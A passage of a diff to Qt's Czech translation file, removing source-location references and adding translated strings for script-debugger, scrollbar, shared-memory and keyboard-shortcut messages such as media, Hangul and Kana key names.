<translation>Podmínka</translation>
</message>
<message>
- <location line="+2"/>
<source>Ignore-count</source>
<translation>Spustit po</translation>
</message>
<message>
- <location line="+2"/>
<source>Single-shot</source>
<translation>Spustit jednou</translation>
</message>
<message>
- <location line="+2"/>
<source>Hit-count</source>
<translation>Spuštěný</translation>
</message>
@@ -4872,12 +5218,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptBreakpointsWidget</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptbreakpointswidget.cpp" line="+298"/>
<source>New</source>
<translation>Nový</translation>
</message>
<message>
- <location line="+6"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
@@ -4885,143 +5229,114 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptDebugger</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptdebugger.cpp" line="+885"/>
- <location line="+1013"/>
<source>Go to Line</source>
<translation>Jít na řádek</translation>
</message>
<message>
- <location line="-1012"/>
<source>Line:</source>
<translation>Řádek:</translation>
</message>
<message>
- <location line="+791"/>
<source>Interrupt</source>
<translation>Přerušit</translation>
</message>
<message>
- <location line="+2"/>
<source>Shift+F5</source>
<translation>Shift+F5</translation>
</message>
<message>
- <location line="+15"/>
<source>Continue</source>
<translation>Pokračovat</translation>
</message>
<message>
- <location line="+2"/>
<source>F5</source>
<translation>F5</translation>
</message>
<message>
- <location line="+15"/>
<source>Step Into</source>
<translation>Krok do</translation>
</message>
<message>
- <location line="+2"/>
<source>F11</source>
<translation>F11</translation>
</message>
<message>
- <location line="+15"/>
<source>Step Over</source>
<translation>Krok přes</translation>
</message>
<message>
- <location line="+2"/>
<source>F10</source>
<translation>F10</translation>
</message>
<message>
- <location line="+15"/>
<source>Step Out</source>
<translation>Krok ven</translation>
</message>
<message>
- <location line="+2"/>
<source>Shift+F11</source>
<translation>Shift+F11</translation>
</message>
<message>
- <location line="+15"/>
<source>Run to Cursor</source>
<translation>Provést po kurzor</translation>
</message>
<message>
- <location line="+2"/>
<source>Ctrl+F10</source>
<translation>Ctrl+F10</translation>
</message>
<message>
- <location line="+16"/>
<source>Run to New Script</source>
<translation>Provést po nový skript</translation>
</message>
<message>
- <location line="+15"/>
<source>Toggle Breakpoint</source>
<translation>Přepnout bod přerušení (zastavení)</translation>
</message>
<message>
- <location line="+1"/>
<source>F9</source>
<translation>F9</translation>
</message>
<message>
- <location line="+14"/>
<source>Clear Debug Output</source>
<translation>Smazat výstup ladění</translation>
</message>
<message>
- <location line="+13"/>
<source>Clear Error Log</source>
<translation>Smazat výstupní zápis s chybami</translation>
</message>
<message>
- <location line="+13"/>
<source>Clear Console</source>
<translation>Smazat konzoli</translation>
</message>
<message>
- <location line="+14"/>
<source>&amp;Find in Script...</source>
<translation>&amp;Hledat ve skriptu...</translation>
</message>
<message>
- <location line="+1"/>
<source>Ctrl+F</source>
<translation>Ctrl+F</translation>
</message>
<message>
- <location line="+17"/>
<source>Find &amp;Next</source>
<translation>Najít &amp;další</translation>
</message>
<message>
- <location line="+2"/>
<source>F3</source>
<translation>F3</translation>
</message>
<message>
- <location line="+13"/>
<source>Find &amp;Previous</source>
<translation>Najít &amp;předchozí</translation>
</message>
<message>
- <location line="+2"/>
<source>Shift+F3</source>
<translation>Shift+F3</translation>
</message>
<message>
- <location line="+14"/>
<source>Ctrl+G</source>
<translation>Ctrl+G</translation>
</message>
<message>
- <location line="+11"/>
<source>Debug</source>
<translation>Ladit</translation>
</message>
@@ -5029,32 +5344,26 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptDebuggerCodeFinderWidget</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptdebuggercodefinderwidget.cpp" line="+141"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="+13"/>
<source>Previous</source>
<translation>Předchozí</translation>
</message>
<message>
- <location line="+7"/>
<source>Next</source>
<translation>Další</translation>
</message>
<message>
- <location line="+5"/>
<source>Case Sensitive</source>
<translation>Rozlišující velká a malá písmena</translation>
</message>
<message>
- <location line="+3"/>
<source>Whole words</source>
<translation>Celá slova</translation>
</message>
<message>
- <location line="+9"/>
<source>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
<translation>&lt;img src=&quot;:/qt/scripttools/debugging/images/wrap.png&quot;&gt;&amp;nbsp;Hledání dosáhlo konce</translation>
</message>
@@ -5062,12 +5371,10 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptDebuggerLocalsModel</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptdebuggerlocalsmodel.cpp" line="+872"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+2"/>
<source>Value</source>
<translation>Hodnota</translation>
</message>
@@ -5075,17 +5382,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptDebuggerStackModel</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptdebuggerstackmodel.cpp" line="+161"/>
<source>Level</source>
<translation>Úroveň</translation>
</message>
<message>
- <location line="+2"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+2"/>
<source>Location</source>
<translation>Umístění</translation>
</message>
@@ -5093,22 +5397,18 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptEdit</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptedit.cpp" line="+411"/>
<source>Toggle Breakpoint</source>
<translation>Přepnout bod zastavení</translation>
</message>
<message>
- <location line="+2"/>
<source>Disable Breakpoint</source>
<translation>Vypnout bod zastavení</translation>
</message>
<message>
- <location line="+1"/>
<source>Enable Breakpoint</source>
<translation>Zapnout bod zastavení</translation>
</message>
<message>
- <location line="+4"/>
<source>Breakpoint Condition:</source>
<translation>Podmínka zastavení:</translation>
</message>
@@ -5116,52 +5416,42 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptEngineDebugger</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptenginedebugger.cpp" line="+523"/>
<source>Loaded Scripts</source>
<translation>Nahrané skripty</translation>
</message>
<message>
- <location line="+6"/>
<source>Breakpoints</source>
<translation>Body zastavení</translation>
</message>
<message>
- <location line="+6"/>
<source>Stack</source>
<translation>Zásobník</translation>
</message>
<message>
- <location line="+6"/>
<source>Locals</source>
<translation>Místní proměnné</translation>
</message>
<message>
- <location line="+6"/>
<source>Console</source>
<translation>Konzole</translation>
</message>
<message>
- <location line="+6"/>
<source>Debug Output</source>
<translation>Výstup ladění</translation>
</message>
<message>
- <location line="+6"/>
<source>Error Log</source>
<translation>Výstupní zápis s chybami</translation>
</message>
<message>
- <location line="+12"/>
<source>Search</source>
<translation>Hledat</translation>
</message>
<message>
- <location line="+7"/>
<source>View</source>
<translation>Pohled</translation>
</message>
<message>
- <location line="+18"/>
<source>Qt Script Debugger</source>
<translation>Qt ladění skriptů</translation>
</message>
@@ -5169,7 +5459,6 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScriptNewBreakpointWidget</name>
<message>
- <location filename="../src/scripttools/debugging/qscriptbreakpointswidget.cpp" line="-223"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
@@ -5177,84 +5466,66 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QScrollBar</name>
<message>
- <location filename="../src/gui/widgets/qscrollbar.cpp" line="+456"/>
<source>Top</source>
<translation>Začátek</translation>
</message>
<message>
- <location line="+7"/>
<source>Scroll down</source>
<translation>Projíždět dolů</translation>
</message>
<message>
- <location line="-9"/>
<source>Scroll here</source>
<translation>Projíždět až sem</translation>
</message>
<message>
- <location line="+8"/>
<source>Scroll left</source>
<translation>Projíždět doleva</translation>
</message>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+143"/>
<source>Line up</source>
<translation>O jeden řádek nahoru</translation>
</message>
<message>
- <location line="+8"/>
<source>Line down</source>
<translation>O jeden řádek dolů</translation>
</message>
<message>
- <location filename="../src/gui/widgets/qscrollbar.cpp" line="-5"/>
<source>Bottom</source>
<translation>Konec</translation>
</message>
<message>
- <location line="+2"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-6"/>
<source>Page up</source>
<translation>O stranu nahoru</translation>
</message>
<message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+2"/>
<source>Position</source>
<translation>Poloha</translation>
</message>
<message>
- <location filename="../src/gui/widgets/qscrollbar.cpp" line="+1"/>
<source>Page right</source>
<translation>O stranu doprava</translation>
</message>
<message>
- <location line="+2"/>
<source>Scroll up</source>
<translation>Projíždět nahoru</translation>
</message>
<message>
- <location line="+1"/>
<source>Scroll right</source>
<translation>Projíždět doprava</translation>
</message>
<message>
- <location line="-7"/>
<source>Left edge</source>
<translation>Levý okraj</translation>
</message>
<message>
- <location line="+4"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+2"/>
<source>Page down</source>
<translation>O stranu dolů</translation>
</message>
<message>
- <location line="-1"/>
<source>Page left</source>
<translation>O stranu doleva</translation>
</message>
<message>
- <location line="-2"/>
<source>Right edge</source>
<translation>Pravý okraj</translation>
</message>
@@ -5262,18 +5533,14 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QSharedMemory</name>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+88"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+74"/>
<source>%1: doesn&apos;t exist</source>
<translation>%1: Neexistuje</translation>
</message>
<message>
- <location line="+39"/>
<source>%1: UNIX key file doesn&apos;t exist</source>
<translation>%1: Soubor s unixovým klíčem neexistuje</translation>
</message>
<message>
- <location line="+78"/>
<source>%1: system-imposed size restrictions</source>
<translation>%1: Bylo dosaženo systémem podmíněné meze velikosti</translation>
</message>
@@ -5282,95 +5549,66 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<translation type="obsolete">%1: Soubor s unixovým klíčem neexistuje</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_symbian.cpp" line="+71"/>
<source>%1: doesn&apos;t exists</source>
<translation>%1: Neexistuje</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="-86"/>
<source>%1: key is empty</source>
<translation>%1: Neplatný údaj u klíče (prázdný)</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_symbian.cpp" line="+44"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+67"/>
<source>%1: key error</source>
<translation>%1: Chybný klíč</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory.cpp" line="+304"/>
<source>%1: create size is less then 0</source>
<translation>%1: Údaj o velikosti vytvoření je menší než nula</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_symbian.cpp" line="-48"/>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="-35"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-76"/>
<source>%1: already exists</source>
<translation>%1: Již existuje</translation>
</message>
<message>
- <location line="+19"/>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+14"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+25"/>
<source>%1: unknown error %2</source>
<translation>%1: Neznámá chyba %2</translation>
</message>
<message>
- <location line="-11"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-12"/>
<source>%1: invalid size</source>
<translation>%1: Neplatná velikost</translation>
</message>
<message>
- <location line="+67"/>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+87"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+27"/>
<source>%1: unable to make key</source>
<translation>%1: Nepodařilo se vytvořit klíč</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory.cpp" line="-81"/>
<source>%1: unable to set key on lock</source>
<translation>%1: Nepodařilo se nastavit klíč pro uzavření</translation>
</message>
<message>
- <location line="+271"/>
<source>%1: unable to unlock</source>
<translation>%1: Uzavření se nepodařilo zrušit</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_symbian.cpp" line="-59"/>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="-105"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-18"/>
<source>%1: permission denied</source>
<translation>%1: Přístup odepřen</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+54"/>
<source>%1: ftok failed</source>
<translation>%1: Vyvolání ftok se nezdařilo</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_symbian.cpp" line="-4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="-40"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-4"/>
<source>%1: out of resources</source>
<translation>%1: Nejsou již použitelné zdroje</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+164"/>
<source>%1: not attached</source>
<translation>%1: Nepřipojen</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+90"/>
<source>%1: size query failed</source>
<translation>%1: Vyhledání velikosti se nezdařilo</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsharedmemory.cpp" line="-22"/>
- <location filename="../src/corelib/kernel/qsharedmemory_p.h" line="+155"/>
<source>%1: unable to lock</source>
<translation>%1: Uzavření se nezdařilo</translation>
</message>
@@ -5378,466 +5616,884 @@ Zvolte, prosím, pro soubor jiný název.</translation>
<context>
<name>QShortcut</name>
<message>
- <location filename="../src/gui/kernel/qkeysequence.cpp" line="+1143"/>
<source>+</source>
<translation>+</translation>
</message>
<message>
- <location line="-664"/>
<source>No</source>
<translation>Ne</translation>
</message>
<message>
- <location line="-71"/>
<source>Up</source>
<translation>Nahoru</translation>
</message>
<message>
- <location line="+644"/>
- <location line="+135"/>
<source>Alt</source>
<translation>Alt</translation>
</message>
<message>
- <location line="+17"/>
<source>F%1</source>
<translation>F%1</translation>
</message>
<message>
- <location line="-803"/>
<source>Del</source>
<translation>Delete</translation>
</message>
<message>
- <location line="+5"/>
<source>End</source>
<translation>End</translation>
</message>
<message>
- <location line="-12"/>
<source>Esc</source>
<translation>Esc</translation>
</message>
<message>
- <location line="+6"/>
<source>Ins</source>
<translation>Insert</translation>
</message>
<message>
- <location line="-5"/>
<source>Tab</source>
<translation>Tab</translation>
</message>
<message>
- <location line="+83"/>
<source>Yes</source>
<translation>Ano</translation>
</message>
<message>
- <location line="-58"/>
<source>Back</source>
<translation>Zpět</translation>
</message>
<message>
- <location line="+67"/>
<source>Call</source>
+ <extracomment>Button to start a call (note: a separate button is used to end the call)</extracomment>
<translation>Volání</translation>
</message>
<message>
- <location line="+563"/>
- <location line="+135"/>
<source>Ctrl</source>
<translation>Ctrl</translation>
</message>
<message>
- <location line="-775"/>
<source>Down</source>
<translation>Dolů</translation>
</message>
<message>
- <location line="+79"/>
<source>Flip</source>
<translation>Obrátit</translation>
</message>
<message>
- <location line="-72"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="-12"/>
<source>Home</source>
<translation>Home</translation>
</message>
<message>
- <location line="+2"/>
<source>Left</source>
<translation>Vlevo</translation>
</message>
<message>
- <location line="+9"/>
<source>Menu</source>
<translation>Menu</translation>
</message>
<message>
- <location line="+637"/>
- <location line="+130"/>
+ <source>Toggle Call/Hangup</source>
+ <extracomment>Button that will hang up if we&apos;re in call, or make a call if we&apos;re not.</extracomment>
+ <translation>Přepnout volat/zavěsit</translation>
+ </message>
+ <message>
+ <source>Voice Dial</source>
+ <extracomment>Button to trigger voice dialing</extracomment>
+ <translation>Hlasové vytáčení</translation>
+ </message>
+ <message>
+ <source>Last Number Redial</source>
+ <extracomment>Button to redial the last number called</extracomment>
+ <translation>Opakované vytáčení posledního čísla</translation>
+ </message>
+ <message>
+ <source>Camera Shutter</source>
+ <extracomment>Button to trigger the camera shutter (take a picture)</extracomment>
+ <translation>Závěrka kamery</translation>
+ </message>
+ <message>
+ <source>Camera Focus</source>
+ <extracomment>Button to focus the camera</extracomment>
+ <translation>Zaostření kamery</translation>
+ </message>
+ <message>
+ <source>Kanji</source>
+ <translation>Kandži</translation>
+ </message>
+ <message>
+ <source>Muhenkan</source>
+ <translation>Muhenkan</translation>
+ </message>
+ <message>
+ <source>Henkan</source>
+ <translation>Henkan</translation>
+ </message>
+ <message>
+ <source>Romaji</source>
+ <translation>Romaji</translation>
+ </message>
+ <message>
+ <source>Hiragana</source>
+ <translation>Hiragana</translation>
+ </message>
+ <message>
+ <source>Katakana</source>
+ <translation>Katakana</translation>
+ </message>
+ <message>
+ <source>Hiragana Katakana</source>
+ <translation>Hiragana Katakana</translation>
+ </message>
+ <message>
+ <source>Zenkaku</source>
+ <translation>Zenkaku</translation>
+ </message>
+ <message>
+ <source>Hankaku</source>
+ <translation>Hankaku</translation>
+ </message>
+ <message>
+ <source>Zenkaku Hankaku</source>
+ <translation>Zenkaku Hankaku</translation>
+ </message>
+ <message>
+ <source>Touroku</source>
+ <translation>Touroku</translation>
+ </message>
+ <message>
+ <source>Massyo</source>
+ <translation>Massyo</translation>
+ </message>
+ <message>
+ <source>Kana Lock</source>
+ <translation>Kana Zámek</translation>
+ </message>
+ <message>
+ <source>Kana Shift</source>
+ <translation>Kany Posun</translation>
+ </message>
+ <message>
+ <source>Eisu Shift</source>
+ <translation>Eisu Posun</translation>
+ </message>
+ <message>
+ <source>Eisu toggle</source>
+ <translation>Eisu Přepínač</translation>
+ </message>
+ <message>
+ <source>Code input</source>
+ <translation>Vstup pro kód</translation>
+ </message>
+ <message>
+ <source>Multiple Candidate</source>
+ <translation>Více návrhů</translation>
+ </message>
+ <message>
+ <source>Previous Candidate</source>
+ <translation>Předchozí návrh</translation>
+ </message>
+ <message>
+ <source>Hangul</source>
+ <translation>Hangul</translation>
+ </message>
+ <message>
+ <source>Hangul Start</source>
+ <translation>Hangul začátek</translation>
+ </message>
+ <message>
+ <source>Hangul End</source>
+ <translation>Hangul konec</translation>
+ </message>
+ <message>
+ <source>Hangul Hanja</source>
+ <translation>Hangul Hanja</translation>
+ </message>
+ <message>
+ <source>Hangul Jamo</source>
+ <translation>Hangul Jamo</translation>
+ </message>
+ <message>
+ <source>Hangul Romaja</source>
+ <translation>Hangul Romaja</translation>
+ </message>
+ <message>
+ <source>Hangul Jeonja</source>
+ <translation>Hangul Jeonja</translation>
+ </message>
+ <message>
+ <source>Hangul Banja</source>
+ <translation>Hangul Banja</translation>
+ </message>
+ <message>
+ <source>Hangul PreHanja</source>
+ <translation>Hangul PreHanja</translation>
+ </message>
+ <message>
+ <source>Hangul PostHanja</source>
+ <translation>Hangul PostHanja</translation>
+ </message>
+ <message>
+ <source>Hangul Special</source>
+ <translation>Hangul zvláštní</translation>
+ </message>
+ <message>
<source>Meta</source>
<translation>Meta</translation>
</message>
<message>
- <location line="-772"/>
<source>PgUp</source>
<translation>PgUp</translation>
</message>
<message>
- <location line="+11"/>
<source>Stop</source>
<translation>Stop</translation>
</message>
<message>
- <location line="-23"/>
<source>Enter</source>
<translation>Enter</translation>
</message>
<message>
- <location line="+3"/>
<source>Pause</source>
<translation>Pause</translation>
</message>
<message>
- <location line="+1"/>
<source>Print</source>
<translation>Print</translation>
</message>
<message>
- <location line="+6"/>
<source>Right</source>
<translation>Vpravo</translation>
</message>
<message>
- <location line="+642"/>
- <location line="+138"/>
<source>Shift</source>
<translation>Shift</translation>
</message>
<message>
- <location line="-796"/>
<source>Space</source>
+ <extracomment>This and all following &quot;incomprehensible&quot; strings in QShortcut context are key names. Please use the localized names appearing on actual keyboards or whatever is commonly used.</extracomment>
<translation>Mezerník</translation>
</message>
<message>
- <location line="+43"/>
<source>Media Record</source>
<translation>Nahrát</translation>
</message>
<message>
- <location line="+27"/>
<source>Print Screen</source>
<translation>Print Screen</translation>
</message>
<message>
- <location line="-32"/>
<source>Treble Down</source>
<translation>Výšky -</translation>
</message>
<message>
- <location line="+38"/>
<source>Scroll Lock</source>
<translation>Scroll Lock</translation>
</message>
<message>
- <location line="-45"/>
<source>Volume Down</source>
<translation>Hlasitost -</translation>
</message>
<message>
- <location line="+1"/>
<source>Volume Mute</source>
<translation>Ztlumit hlasitost</translation>
</message>
<message>
- <location line="+9"/>
<source>Media Previous</source>
<translation>Předchozí</translation>
</message>
<message>
- <location line="+3"/>
<source>Home Page</source>
<translation>Domovská stránka</translation>
</message>
<message>
- <location line="-11"/>
<source>Volume Up</source>
<translation>Hlasitost +</translation>
</message>
<message>
- <location line="+24"/>
<source>Launch (6)</source>
<translation>Spustit (6)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (7)</source>
<translation>Spustit (7)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (8)</source>
<translation>Spustit (8)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (9)</source>
<translation>Spustit (9)</translation>
</message>
<message>
- <location line="-7"/>
<source>Launch (2)</source>
<translation>Spustit (2)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (3)</source>
<translation>Spustit (3)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (4)</source>
<translation>Spustit (4)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (5)</source>
<translation>Spustit (5)</translation>
</message>
<message>
- <location line="-5"/>
<source>Launch (0)</source>
<translation>Spustit (0)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (1)</source>
<translation>Spustit (1)</translation>
</message>
<message>
- <location line="+14"/>
<source>Launch (F)</source>
<translation>Spustit (F)</translation>
</message>
<message>
- <location line="-4"/>
<source>Launch (B)</source>
<translation>Spustit (B)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (C)</source>
<translation>Spustit (C)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (D)</source>
<translation>Spustit (D)</translation>
</message>
<message>
- <location line="+1"/>
<source>Launch (E)</source>
<translation>Spustit (E)</translation>
</message>
<message>
- <location line="-4"/>
<source>Launch (A)</source>
<translation>Spustit (A)</translation>
</message>
<message>
- <location line="+17"/>
<source>Delete</source>
<translation>Delete</translation>
</message>
<message>
- <location line="+1"/>
<source>Escape</source>
<translation>Escape</translation>
</message>
<message>
- <location line="+16"/>
<source>Hangup</source>
+ <extracomment>Button to end a call (note: a separate button is used to start the call)</extracomment>
<translation>Pověsit</translation>
</message>
<message>
- <location line="-18"/>
<source>Insert</source>
<translation>Insert</translation>
</message>
<message>
- <location line="-43"/>
<source>Bass Boost</source>
<translation>Zesílení basů</translation>
</message>
<message>
- <location line="-15"/>
<source>PgDown</source>
<translation>PgDown</translation>
</message>
<message>
- <location line="-14"/>
<source>Return</source>
<translation>Return</translation>
</message>
<message>
- <location line="+41"/>
<source>Search</source>
<translation>Hledat</translation>
</message>
<message>
- <location line="+38"/>
<source>Select</source>
<translation>Vybrat</translation>
</message>
<message>
- <location line="-73"/>
<source>SysReq</source>
<translation>SysReq</translation>
</message>
<message>
- <location line="+10"/>
<source>NumLock</source>
<translation>NumLock</translation>
</message>
<message>
- <location line="+1"/>
<source>ScrollLock</source>
<translation>ScrollLock</translation>
</message>
<message>
- <location line="+68"/>
+ <source>Media Pause</source>
+ <extracomment>Media player pause button</extracomment>
+ <translation>Pozastavení přehrávání</translation>
+ </message>
+ <message>
+ <source>Toggle Media Play/Pause</source>
+ <extracomment>Media player button to toggle between playing and paused</extracomment>
+ <translation>Přepnout přehrávat/pozastavit</translation>
+ </message>
+ <message>
+ <source>Monitor Brightness Up</source>
+ <translation>Zvýšit jas obrazovky</translation>
+ </message>
+ <message>
+ <source>Monitor Brightness Down</source>
+ <translation>Snížit jas obrazovky</translation>
+ </message>
+ <message>
+ <source>Keyboard Light On/Off</source>
+ <translation>Zapnout/Vypnout podsvícení klávesnice</translation>
+ </message>
+ <message>
+ <source>Keyboard Brightness Up</source>
+ <translation>Zvýšit jas klávesnice</translation>
+ </message>
+ <message>
+ <source>Keyboard Brightness Down</source>
+ <translation>Snížit jas klávesnice</translation>
+ </message>
+ <message>
+ <source>Power Off</source>
+ <translation>Vypnout</translation>
+ </message>
+ <message>
+ <source>Wake Up</source>
+ <translation>Probudit</translation>
+ </message>
+ <message>
+ <source>Eject</source>
+ <translation>Vysunout</translation>
+ </message>
+ <message>
+ <source>Screensaver</source>
+ <translation>Spořič/Šetřič obrazovky</translation>
+ </message>
+ <message>
+ <source>WWW</source>
+ <translation>Internet</translation>
+ </message>
+ <message>
+ <source>Sleep</source>
+ <translation>Režim spánku</translation>
+ </message>
+ <message>
+ <source>LightBulb</source>
+ <translation>Osvětlení</translation>
+ </message>
+ <message>
+ <source>Shop</source>
+ <translation>Obchod</translation>
+ </message>
+ <message>
+ <source>History</source>
+ <translation>Průběh</translation>
+ </message>
+ <message>
+ <source>Add Favorite</source>
+ <translation>Přidat záložku</translation>
+ </message>
+ <message>
+ <source>Hot Links</source>
+ <translation>Doporučené odkazy</translation>
+ </message>
+ <message>
+ <source>Adjust Brightness</source>
+ <translation>Upravit jas</translation>
+ </message>
+ <message>
+ <source>Finance</source>
+ <translation>Finance</translation>
+ </message>
+ <message>
+ <source>Community</source>
+ <translation>Společenství</translation>
+ </message>
+ <message>
+ <source>Audio Rewind</source>
+ <translation>Zvuk přetočit zpět</translation>
+ </message>
+ <message>
+ <source>Back Forward</source>
+ <translation>Zpět dopředu</translation>
+ </message>
+ <message>
+ <source>Application Left</source>
+ <translation>Aplikace vlevo</translation>
+ </message>
+ <message>
+ <source>Application Right</source>
+ <translation>Aplikace vpravo</translation>
+ </message>
+ <message>
+ <source>Book</source>
+ <translation>Kniha</translation>
+ </message>
+ <message>
+ <source>CD</source>
+ <translation>CD</translation>
+ </message>
+ <message>
+ <source>Calculator</source>
+ <translation>Kalkulačka</translation>
+ </message>
+ <message>
+ <source>Clear</source>
+ <translation>Smazat</translation>
+ </message>
+ <message>
+ <source>Clear Grab</source>
+ <translation>Smazat přístup</translation>
+ </message>
+ <message>
+ <source>Close</source>
+ <translation>Zavřít</translation>
+ </message>
+ <message>
+ <source>Copy</source>
+ <translation>Kopírovat</translation>
+ </message>
+ <message>
+ <source>Cut</source>
+ <translation>Vyjmout</translation>
+ </message>
+ <message>
+ <source>Display</source>
+ <translation>Zobrazit</translation>
+ </message>
+ <message>
+ <source>DOS</source>
+ <translation>DOS</translation>
+ </message>
+ <message>
+ <source>Documents</source>
+ <translation>Dokumenty</translation>
+ </message>
+ <message>
+ <source>Spreadsheet</source>
+ <translation>Tabulkový dokument</translation>
+ </message>
+ <message>
+ <source>Browser</source>
+ <translation>Prohlížeč</translation>
+ </message>
+ <message>
+ <source>Game</source>
+ <translation>Hra</translation>
+ </message>
+ <message>
+ <source>Go</source>
+ <translation>Do toho</translation>
+ </message>
+ <message>
+ <source>iTouch</source>
+ <translation>iTouch</translation>
+ </message>
+ <message>
+ <source>Logoff</source>
+ <translation>Odhlásit se</translation>
+ </message>
+ <message>
+ <source>Market</source>
+ <translation>Trh</translation>
+ </message>
+ <message>
+ <source>Meeting</source>
+ <translation>Schůze</translation>
+ </message>
+ <message>
+ <source>Keyboard Menu</source>
+ <translation>Nabídka klávesnice</translation>
+ </message>
+ <message>
+ <source>Menu PB</source>
+ <translation>Nabídka PB</translation>
+ </message>
+ <message>
+ <source>My Sites</source>
+ <translation>Moje místa</translation>
+ </message>
+ <message>
+ <source>News</source>
+ <translation>Zprávy</translation>
+ </message>
+ <message>
+ <source>Home Office</source>
+ <translation>Domácí kancelář</translation>
+ </message>
+ <message>
+ <source>Option</source>
+ <translation>Volba</translation>
+ </message>
+ <message>
+ <source>Paste</source>
+ <translation>Vložit</translation>
+ </message>
+ <message>
+ <source>Phone</source>
+ <translation>Telefon</translation>
+ </message>
+ <message>
+ <source>Reply</source>
+ <translation>Odpovědět</translation>
+ </message>
+ <message>
+ <source>Reload</source>
+ <translation>Nahrát znovu</translation>
+ </message>
+ <message>
+ <source>Rotate Windows</source>
+ <translation>Otáčet okny</translation>
+ </message>
+ <message>
+ <source>Rotation PB</source>
+ <translation>Otáčení PB</translation>
+ </message>
+ <message>
+ <source>Rotation KB</source>
+ <translation>Otáčení KB</translation>
+ </message>
+ <message>
+ <source>Save</source>
+ <translation>Uložit</translation>
+ </message>
+ <message>
+ <source>Send</source>
+ <translation>Poslat</translation>
+ </message>
+ <message>
+ <source>Spellchecker</source>
+ <translation>Ověření pravopisu</translation>
+ </message>
+ <message>
+ <source>Split Screen</source>
+ <translation>Rozdělit obrazovku</translation>
+ </message>
+ <message>
+ <source>Support</source>
+ <translation>Podpora</translation>
+ </message>
+ <message>
+ <source>Task Panel</source>
+ <translation>Panel s úkoly</translation>
+ </message>
+ <message>
+ <source>Terminal</source>
+ <translation>Terminál</translation>
+ </message>
+ <message>
+ <source>Tools</source>
+ <translation>Nástroje</translation>
+ </message>
+ <message>
+ <source>Travel</source>
+ <translation>Cestování</translation>
+ </message>
+ <message>
+ <source>Video</source>
+ <translation>Video</translation>
+ </message>
+ <message>
+ <source>Word Processor</source>
+ <translation>Zpracování textu</translation>
+ </message>
+ <message>
+ <source>XFer</source>
+ <translation>XFer</translation>
+ </message>
+ <message>
+ <source>Zoom In</source>
+ <translation>Přiblížit</translation>
+ </message>
+ <message>
+ <source>Zoom Out</source>
+ <translation>Oddálit</translation>
+ </message>
+ <message>
+ <source>Away</source>
+ <translation>Pryč</translation>
+ </message>
+ <message>
+ <source>Messenger</source>
+ <translation>Posel</translation>
+ </message>
+ <message>
+ <source>WebCam</source>
